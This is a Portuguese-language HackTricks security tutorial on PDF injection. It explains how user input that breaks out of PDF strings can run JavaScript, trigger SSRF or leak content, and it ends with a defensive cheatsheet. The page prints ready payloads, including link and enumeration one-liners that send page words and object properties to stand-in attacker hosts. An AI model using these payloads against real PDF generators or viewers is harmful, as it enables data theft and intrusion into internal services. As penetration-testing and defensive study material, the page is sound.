PDF Injection
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Se sua entrada está sendo refletida dentro de um arquivo PDF, você pode tentar injetar dados PDF para executar JavaScript, realizar SSRF ou roubar o conteúdo do PDF. A sintaxe PDF é extremamente permissiva – se você conseguir sair da string ou dicionário que está incorporando sua entrada, pode adicionar objetos totalmente novos (ou novas chaves no mesmo objeto) que o Acrobat/Chrome irá analisar felizmente. Desde 2024, uma onda de relatórios de bug-bounty mostrou que um parêntese ou barra invertida não escapado é suficiente para a execução completa de scripts.
TL;DR – Fluxo de Ataque Moderno (2024)
- Encontre qualquer valor controlado pelo usuário que acabe dentro de uma (string de parênteses),
/URI ( … )
ou campo/JS ( … )
no PDF gerado. - Injetar
)
(fechando a string) seguido por um dos primitivos abaixo e terminar com outro parêntese de abertura para manter a sintaxe válida. - Entregar o PDF malicioso a uma vítima (ou a um serviço de backend que renderiza automaticamente o arquivo – ótimo para bugs blindos).
- Seu payload é executado no visualizador de PDF:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (veja CVE-2024-4367)
- Acrobat → API JavaScript Completa (pode exfiltrar conteúdos de arquivos arbitrários com
this.getPageNthWord
)
Exemplo (sequestro de link de anotação):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
O primeiro )
fecha a string URI original, em seguida, adicionamos um novo dicionário Action que o Acrobat executará quando o usuário clicar no link.
Primitivas de Injeção Úteis
Objetivo | Trecho de Payload | Notas |
---|---|---|
JavaScript ao abrir | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Executa instantaneamente quando o documento é aberto (funciona no Acrobat, não no Chrome). |
JavaScript ao clicar no link | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Funciona no PDFium & Acrobat se você controlar uma anotação /Link . |
Exfiltração de dados cega | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Combine com this.getPageNthWord dentro do JS para roubar conteúdo. |
SSRF do lado do servidor | O mesmo que acima, mas direciona para uma URL interna – ótimo quando o PDF é renderizado por serviços de back-office que respeitam /URI . | |
Quebra de linha para novos objetos | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Se a biblioteca permitir que você injete caracteres de nova linha, você pode criar objetos totalmente novos. |
Truque de Enumeração Cega
Gareth Heyes (PortSwigger) lançou uma linha única que enumera todos os objetos dentro de um documento desconhecido – útil quando você não pode ver o PDF gerado:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
O código itera sobre o DOM do Acrobat e faz solicitações externas para cada par de propriedade/valor, fornecendo um despejo JSON-ish do arquivo. Veja o white-paper “Portable Data exFiltration” para a técnica completa.
Bugs do Mundo Real (2023-2025)
- CVE-2024-4367 – Execução arbitrária de JavaScript no PDF.js do Firefox antes da versão 4.2.67 contornou o sandbox com uma ação
/JavaScript
manipulada. - Bug bounty 2024-05 – Uma fintech importante permitiu notas de fatura fornecidas pelo cliente que foram parar em
/URI
; o relatório pagou $10k após demonstrar SSRF para o host de metadados interno usandofile:///
URI. - CVE-2023-26155 – Injeção de comando
node-qpdf
via caminho PDF não sanitizado mostra a importância de escapar barras invertidas e parênteses mesmo antes da camada PDF.
Cheatsheet Defensivo
- Nunca concatene entrada bruta do usuário dentro de strings ou nomes
(
…)
. Escape\
,(
,)
conforme exigido pelo §7.3 da especificação PDF ou use strings hexadecimais<...>
. - Se você construir links, prefira
/URI (https://…)
que você totalmente codifique em URL; bloqueie esquemasjavascript:
em visualizadores de cliente. - Remova ou valide dicionários
/OpenAction
,/AA
(ações adicionais),/Launch
,/SubmitForm
e/ImportData
ao processar PDFs. - No lado do servidor, renderize PDFs não confiáveis com um conversor sem cabeça (por exemplo, qpdf –decrypt –linearize) que remove JavaScript e ações externas.
- Mantenha os visualizadores de PDF atualizados; PDF.js < 4.2.67 e Acrobat Reader antes de julho de 2024 permitem execução de código trivial.
Referências
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (atualizado em maio de 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Execução Arbitrária de JavaScript no PDF.js” (abr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.